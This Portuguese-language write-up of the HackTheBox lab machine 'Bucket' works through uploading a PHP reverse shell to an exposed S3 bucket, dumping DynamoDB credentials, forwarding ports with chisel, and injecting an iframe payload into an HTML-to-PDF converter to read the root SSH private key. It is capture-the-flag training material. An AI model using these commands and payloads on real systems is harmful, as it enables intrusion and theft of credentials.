Bucket

Difficulty: Medium | OS: Linux | Amazon S3 - Amazon DynamoDB

Walkthrough - Youtube Habemus Shell

---

HackTheBox Machine

---

Hack The Boxapp.hackthebox.com

Scanning

---

sudo rustscan -a 10.10.10.212 -u 500000

image.png

Services and Versions

---

nmap -sC -Pn -p 80,22 -sV 10.10.10.212 

Exploration

---

Port 80 - HTTP

---

• Análise passiva das tecnologias que estão nessa página web:

• Analisando o código-fonte da página, encontramos as imagens linkadas em um outro subdomínio chamado: s3.bucket.htb

• Podemos então colocar esse novo subdomínio no /etc/hosts para podermos ter rota para ele.

• Analisando melhor via Burp a response, vimos que no cabeçalho da response temos algumas informações que indicam ser um serviço Amazon S3.

• Pesquisa rápida no google conseguimos confirmar a nossa premissa.

Enumeração Amazon S3

---

• Vamos então descobrir qual o bucket desse amazon S3

aws --endpoint-url=http://s3.bucket.htb s3 ls

• Descobrimos então, como no código-fonte que o bucket se chama adserver

• Vamos listar todo o bucket adserver

aws --endpoint-url=http://s3.bucket.htb s3 ls s3://adserver

• Conseguimos listar, então tentamos também escrever nesse bucket, enviando uma poc simples.

aws --endpoint-url=http://s3.bucket.htb s3 cp poc.txt s3://adserver

• Após confirmarmos que ele fez o upload com sucesso, podemos entrar na aplicação web via browser e confirmar a nossa poc

• IMPORTANTE: o alvo limpa rapidamente o nosso arquivo, caso não funcione de primeira, tente novamente, mas seja rápido, pois ele limpa.

• Como vimos no inicio que nossa página tem tecnologia php , podemos então fazer um upload de um reverse shell em php

• Após isso fazemos o mesmo procedimento anterior de realizar o upload para o alvo.

aws --endpoint-url=http://s3.bucket.htb s3 cp shell.php s3://adserver

• Antes de executar deixe um listening na porta escolhida, no meu caso foi a porta 443

Initial Access

---

• E conseguimos acesso ao alvo.

• Vamos melhorar esse shell para que possamos ter mais liberdade de execução de comandos.

python3.8 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
stty raw -echo; fg

• Fomos no local que é comum ter a flag de user.txt, ela estava na pasta pessoal do usuário roy

• Porém, não temos permissão de leitura, apenas o usuário roy pode ler a flag.

• Começamos então a fazer uma enumeração do alvo, a fim de tentar escalação de privilégio horizontal para o usuário roy

• Ainda na pasta do usuário roy , temos uma pasta que foge do padrão, chamada project

• Nela temos um arquivo chamado db.php que nos chama a atenção, pois pode ser dado do banco de dados, e com isso podemos encontrar credenciais.

• Não temos credenciais em hardcode, mas temos uma informação importante. É um arquivo de configuração para se comunicar com o DynamoDB

• Amazon DynamoDB é um serviço de banco de dados NoSQL gerenciado pela AWS

Enumeração DynamoDB

---

• Podemos então tentar listar as tabelas do banco de dados com o comando abaixo.

aws --endpoint-url=http://localhost:4566 dynamodb list-tables

• Caso você receba esse erro, irá precisar configurar um profile para a aws cli.

• Utilize o comando abaixo para configurar o perfil para a AWS CLI.

aws configure

• Observe que recebemos um erro ao terminar de configurar, pois ele tenta salvar no arquivo /var/www/.aws que não temos permissão alteração.

• Alteramos então a variável de ambiente HOME para que ele salve esse arquivo em um diretório que possamos editar.

• Obs: observe que apenas a região e o formato de saída eu defini. A região fica fácil, pois estava no arquivo de configuração db.php o formato de saída não importa pra gente, mas eu quis colocar json.

• Podemos tentar listar novamente as tabelas do banco de dados

aws --endpoint-url=http://localhost:4566 dynamodb list-tables

• Agora obtivemos sucesso nessa listagem, e temos apenas a tabela Users

• Vamos então descobrir todos os valores que temos na tabela users:

aws --endpoint-url=http://localhost:4566 dynamodb scan --table-name users

• Observe que conseguimos listar a tabela Users, e encontramos diversas senhas com alguns usernames.

• Algo bem comum e que podemos tentar é o reaproveitamento de senhas.

• Vamos tentar autenticar com o usuário roy com uma dessas 3 senhas encontradas.

• Após as tentativas, conseguimos logar com uma das senhas no usuário roy e conseguimos ler a primeira flag user.txt

Privilege Escalation

---

• Vamos agora continuar nossa enumeração, dessa vez com o usuário roy

• Analisando as portas que temos no alvo, temos algumas portas rodando apenas do lado do alvo (127.0.0.1)

• 4566 vimos que é a do DynamoDB, mas ainda temos a porta 8000

• Realizamos um Reverse Port Forward com o chisel

# Abre o servidor na máquina atacante
chisel server --port <porta_kali_server> --reverse
chisel server --port 8083 --reverse

# Se conecta no servidor passando a porta que queremos criar o tunnel.
./chisel client <ip_kali>:<porta_kali> R:<porta_abrir_kali>:<alvo_local>:8000
./chisel client 10.10.14.12:8083 R:8000:127.0.0.1:8000

• Aqui podemos confirmar que foi aberto a porta 8000 no nosso Kali, ou seja, ela está com o trafego do alvo sendo redirecionado para ela.

• Podemos entrar no nosso navegador e acessar a porta 8000 através do nosso localhost.

• Executando um Fuzzing, encontramos alguns caminhos interessantes como: files, index.php, server-satatus e vendor

feroxbuster -u http://127.0.0.1:8000 -w /usr/share/wordlists/dirb/common.txt -n 

• Em /files/ temos um index of aberto.

• Na nossa enumeração inicial, encontramos a pasta bucket-app em /var/www/ pasta padrão de webroot.

• E nela encontramos um arquivo index.php , que normalmente é o arquivo principal de um site.

• Analisando o mesmo, encontramos algo interessante:

Análise do código:

1 - Podemos ver que ele também está fazendo uma comunicação com o banco de dados Amazon DynamoDB

2 - Ele faz um verificação se o método http é POST se sim, ele passa para outra condicional. Dentro dessa requisição POST, ele informa o parâmetro, chamado action e verifica se foi enviado uma ação chamada get_alerts . Ou seja, só executa se a ação for essa.

3 - Configura o cliente do DynamoDB para se conectar com o banco de dados de forma correta.

4 - Consulta ao DynamoDB $iterator = $client->getIterator('Scan', array( ... )); , na tabela chamada alerts

'TableName' => 'alerts' → indica a tabela a ser consultada

'FilterExpression' => "title = :title" -> Filtra os resultados para encontrar itens onde o "title" é igual a um valor específico.

'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")): Define que o valor específico a ser procurado é "Ransomware".

Basicamente, ele está buscando todos os alertas cujo título é "Ransomware".

5 - Processa os resultados, ele faz uma iteração para cada alerta encontrado. Cada um que ele encontra, ele gera um HTML com nome aleatório e salva o conteúdo do alerta ( que esta no campo data do item do banco de dados) em um arquivo html

Após isso, ele executa um comando java que pega o arquivo html criado e o converte em um arquivo pdf

• Ok, agora que entendemos o código, vamos analisar novamente as tabelas que temos no nosso banco de dados

• E como vimos, só temos a tabela users

• Ou seja, se tentarmos enviar uma requisição POST com a ação esperada, como não existe a tabela no banco de dados, vamos receber um status code 500 de erro interno do servidor.

• Vamos então criar uma nova tabela no banco de dados. Podemos usar como auxílio a documentação da Amazon DynamoDB oficial.

Step 1: Create a table in DynamoDB - Amazon DynamoDBAmazon DynamoDB

• Porém, quando pensamos em CLI, temos um problema nessa documentação. Pois, os parâmetros --attribute-definitions, --key-schema e --provisioned-throughput precisam que os dados sejam fornecidos como listas JSON.

• E eu coloquei essa opção --provisioned-throughput ,pois ela permite que você controle a capacidade da tabela.

• Criar tabela:

aws --endpoint-url=http://localhost:4566 dynamodb create-table \
    --table-name alerts \
    --attribute-definitions '[{"AttributeName": "title", "AttributeType": "S"}, {"AttributeName": "data", "AttributeType": "S"}]' \
    --key-schema '[{"AttributeName": "title", "KeyType": "HASH"}, {"AttributeName": "data", "KeyType": "RANGE"}]' \
    --provisioned-throughput '{"ReadCapacityUnits": 5, "WriteCapacityUnits": 5}'

• Aqui conseguimos confirmar que a tabela foi criada.

Obs: faça rápido, pois as rotinas do alvo limpam as mudanças que fizemos.

• Agora vamos criar um alerta de Ransomware, pois vimos no código index.php que ele só vai triggar quando encontrar um alerta de Ransomware.

aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><h1>PoC Pqd</h1></html>"}}'

• Alerta criado.

• Vamos agora fazer uma requisição POST com a ação de get_alerts para que a cadeia de ações do código do index.php seja executada.

• E aqui conseguimos ver que ele realmente salvou em /files/ os arquivos criados.

• O html com um nome aleatório como dizia o código, e com o html foi criado um arquivo pdf.

• Bom, já vimos que estamos conseguindo executar e toda a chain necessária.

• Vamos então tentar ler um arquivo interno da pasta root para podermos conseguir ler, vamos usar a tag <iframe com uma origem src , e vamos apontar para a chave privada do usuário root

• Refazemos todos os passos. Lembre-se de fazer rápido, pois o alvo limpa as nossas alterações.

aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}}'

• Nesse caso, o meu html deu errado, talvez pq não coloquei todas as tags de um script html.

• Porém, o pdf criado com o conteúdo do html foi sucesso, e trouxe o arquivo de chave privada id_rsa que solicitamos.

• Salvamos essa chave privada em um arquivo em nossa máquina.

• Há a necessidade da alteração das permissões da chave privada, senão o utilitário ssh não irá aceitar.

chmod 600 id_rsa

• Podemos então nos conectar com o usuário root passando a chave privada que obtivemos.

• E conseguimos acessar como usuário root no alvo.

• E podemos ler a última flag root.txt

Pessoal, há outras formas de fazer essa máquina. Principalmente na hora que estamos enumerando o DynamoDB. Porém, acredito que a enumeração via AWS CLI seja a mais indicada pois nem sempre teremos uma interface gráfica para podermos usufruir. Lembre-se: há uma automação de limpeza das nossas ações no alvo, então talvez você faça o uploade de um arquivo para o Bucket S3, ele vai exibir quando você listar o bucket, mas talvez não apareça na página web. Isso é normal nessa máquina, então tente novamente que irá funcionar! E tenha atenção na hora da criação da tabela, do alerta, da requisição e obtenção da informação do pdf. Pois, isso acaba sendo chato pela limpeza da máquina. Crie um script para que ele faça toda essa cadeia de forma automática, assim não vai ter tantos problemas.